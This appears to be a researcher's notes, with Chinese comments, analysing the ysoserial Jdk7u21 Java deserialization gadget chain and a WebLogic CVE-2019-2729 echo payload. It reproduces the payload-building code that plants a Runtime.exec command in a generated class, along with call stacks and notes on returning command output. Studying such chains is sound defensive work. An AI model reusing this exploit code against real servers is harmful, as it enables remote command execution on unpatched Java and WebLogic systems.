reference:
- https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/Jdk7u21.java
- The beginning and end of Java deserialization vulnerabilities (2)-JDK
Condition:
jdk <= 7u21
Weblogic v10 payload analysis
Source:
https://github.com/chaitin/xray/blob/master/pocs/weblogic-cve-2019-2729-1.yml
converts the payload into a serialized file before the java native deserialization:
File f = new File("C:\\Users\\Administrator\\Desktop\\chatin_2729_echo.ser");
ObjectOutputStream out2 = new ObjectOutputStream(new FileOutputStream(f));
out2.write(bytes);
out2.flush();
out2.close();
Take a look at this deserialized Object:
Reference for the generation of specific properties:
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/util/Gadgets.java
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
I found it in the serialized string. weblogic/servlet/internal/ServletOutputStreamImpl
It should writeStream
be echoed using this method.
And to determine the operating system win/linux, the implementation of the corresponding /bin/sh -c
or cmd /c
.
It seems that the result is brought out through an exception:
E:\Oracle\Middleware10.3.6.0\wlserver_10.3\server\lib\weblogic.jar!\weblogic\servlet\internal\ServletOutputStreamImpl#writeStream(InputStream var1)
should be a custom byte class called ServletOutputStreamImpl# writeStream then concatenates the results of the command execution, and finally returns.
Compatibility between Weblogic and jdk
It seems that 10.3.6 does not support jdk 1.8, but it seems that you can use jdk 6,7 to install and then bypass.
https://stackoverflow.com/questions/22513660/jre-8-compatibility-with-weblogic-10-3-6-11g
Jdk 1.8 was not supported until 12.1.3
https://community.oracle.com/thread/3539686
Call stack:
exec:328, Runtime (java.lang)
<clinit>:-1, Pwner45438314278992 (ysoserial)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:39, NativeConstructorAccessorImpl (sun.reflect)
newInstance:27, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:513, Constructor (java.lang.reflect)
newInstance0:357, Class (java.lang)
newInstance:310, Class (java.lang)
getTransletInstance:376, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:406, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
equalsImpl:179, AnnotationInvocationHandler (sun.reflect.annotation)
invoke:41, AnnotationInvocationHandler (sun.reflect.annotation)
equals:-1, $Proxy89 (com.sun.proxy)
put:376, HashMap (java.util)
readObject:292, HashSet (java.util)
invoke:-1, GeneratedMethodAccessor4 (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
invokeReadObject:969, ObjectStreamClass (java.io)
readSerialData:1871, ObjectInputStream (java.io)
readOrdinaryObject:1775, ObjectInputStream (java.io)
readObject0:1327, ObjectInputStream (java.io)
readObject:349, ObjectInputStream (java.io)
<init>:63, UnitOfWorkChangeSet (oracle.toplink.internal.sessions)
...
Jdk7u21 debugging
Use the following two lines of code to debug in ysoserial
public static void main1() throws Exception {
// 构造待触发的对象(把油都浇好了,一点就着)
TemplatesImpl object = (TemplatesImpl)Gadgets.createTemplatesImpl("calc");
// 触发漏洞(点了,着了)
object.getOutputProperties();
}
Learn how to construct the object to be triggered, and how the victim enters the trap designed by the attacker step by step.
import javassist.ClassPool;
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(abstTranslet));
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
// 这里通过javassist.ClassPool生成class,这里用到随机的类名,方便同一个jvm里反复利用?
final CtClass clazz = pool.makeClass("ysoserial.Pwner" + System.nanoTime());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
CtClass superC = pool.get(abstTranslet.getName());
// 设置这个生成的class继承自`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
Generate a class through javassist, insert the payload into the initialization code block of the class, and then convert it into bytecode.
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
Put the bytes of the generated class just now into TemplatesImpl
the _bytecodes
properties of this class .
Then set TemplatesImpl
the other two properties of this class through reflection :
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
TemplatesImpl
The definition in the original class is:
/**
* Name of the main class or default name if unknown.
*/
private String _name = null;
/**
* A reference to the transformer factory that this templates
* object belongs to.
*/
private transient TransformerFactoryImpl _tfactory = null;
At this point, the generation of the payload is over.
Then see how to getOutputProperties
trigger the payload.
The code tracking has been mentioned here:
https://y4er.com/post/ysoserial-jdk7u21/
Call stack:
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
But the key lies in how to make ObjectInputStream#readObject automatically execute during the processTemplatesImpl#getOutputProperties
See how ysoserial is handled.
Debug his main method,
PayloadRunner.run(Jdk7u21.class, args);
Then start to generate malicious objects:
final Object objBefore = payload.getObject(command);
So the point is to look at Jdk7u21
the getObject(final String command)
method of the class :
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Here, a Map object is constructed first, and then the first constructor of AnnotationInvocationHandler is obtained through reflection, which is:
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
this.type = var1;
this.memberValues = var2;
}
Then the ysoserial code passed Override.class and the map object that I didn’t know what it was used for.
The constructor of AnnotationInvocationHandler receives two parameters: a class object (a subclass of java.lang.annotation.Annotation) and a Map object (key is String type, value is Object type)
After construction, they are assigned to the type attribute and memberValues attribute of the AnnotationInvocationHandler object.
But it is clear why the AnnotationInvocationHandler has been constructed just now, and the type attribute is assigned to Override.class, but the following sentence:
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Assign the type attribute to Templates.class?
//ALL
reference:
- https://www.geek-share.com/detail/2714536302.html
- https://docs.oracle.com/middleware/12212/wls/INTRO/compatibility.htm#INTRO116
- https://docs.oracle.com/cd/E23943_01/doc.1111/e14142/jdk7.htm#WLSIG262
- https://docs.oracle.com/cd/E24902_01/doc.91/e23434/install_config_12_1_3.htm#EOHLU224
- https://docs.oracle.com/cd/E24902_01/doc.91/e23434/install_config_10_3_6.htm#EOHLU189
- https://stackoverflow.com/questions/44714576/how-to-update-weblogic-server-jdk-from-1-7-to-1-8-on-windows-7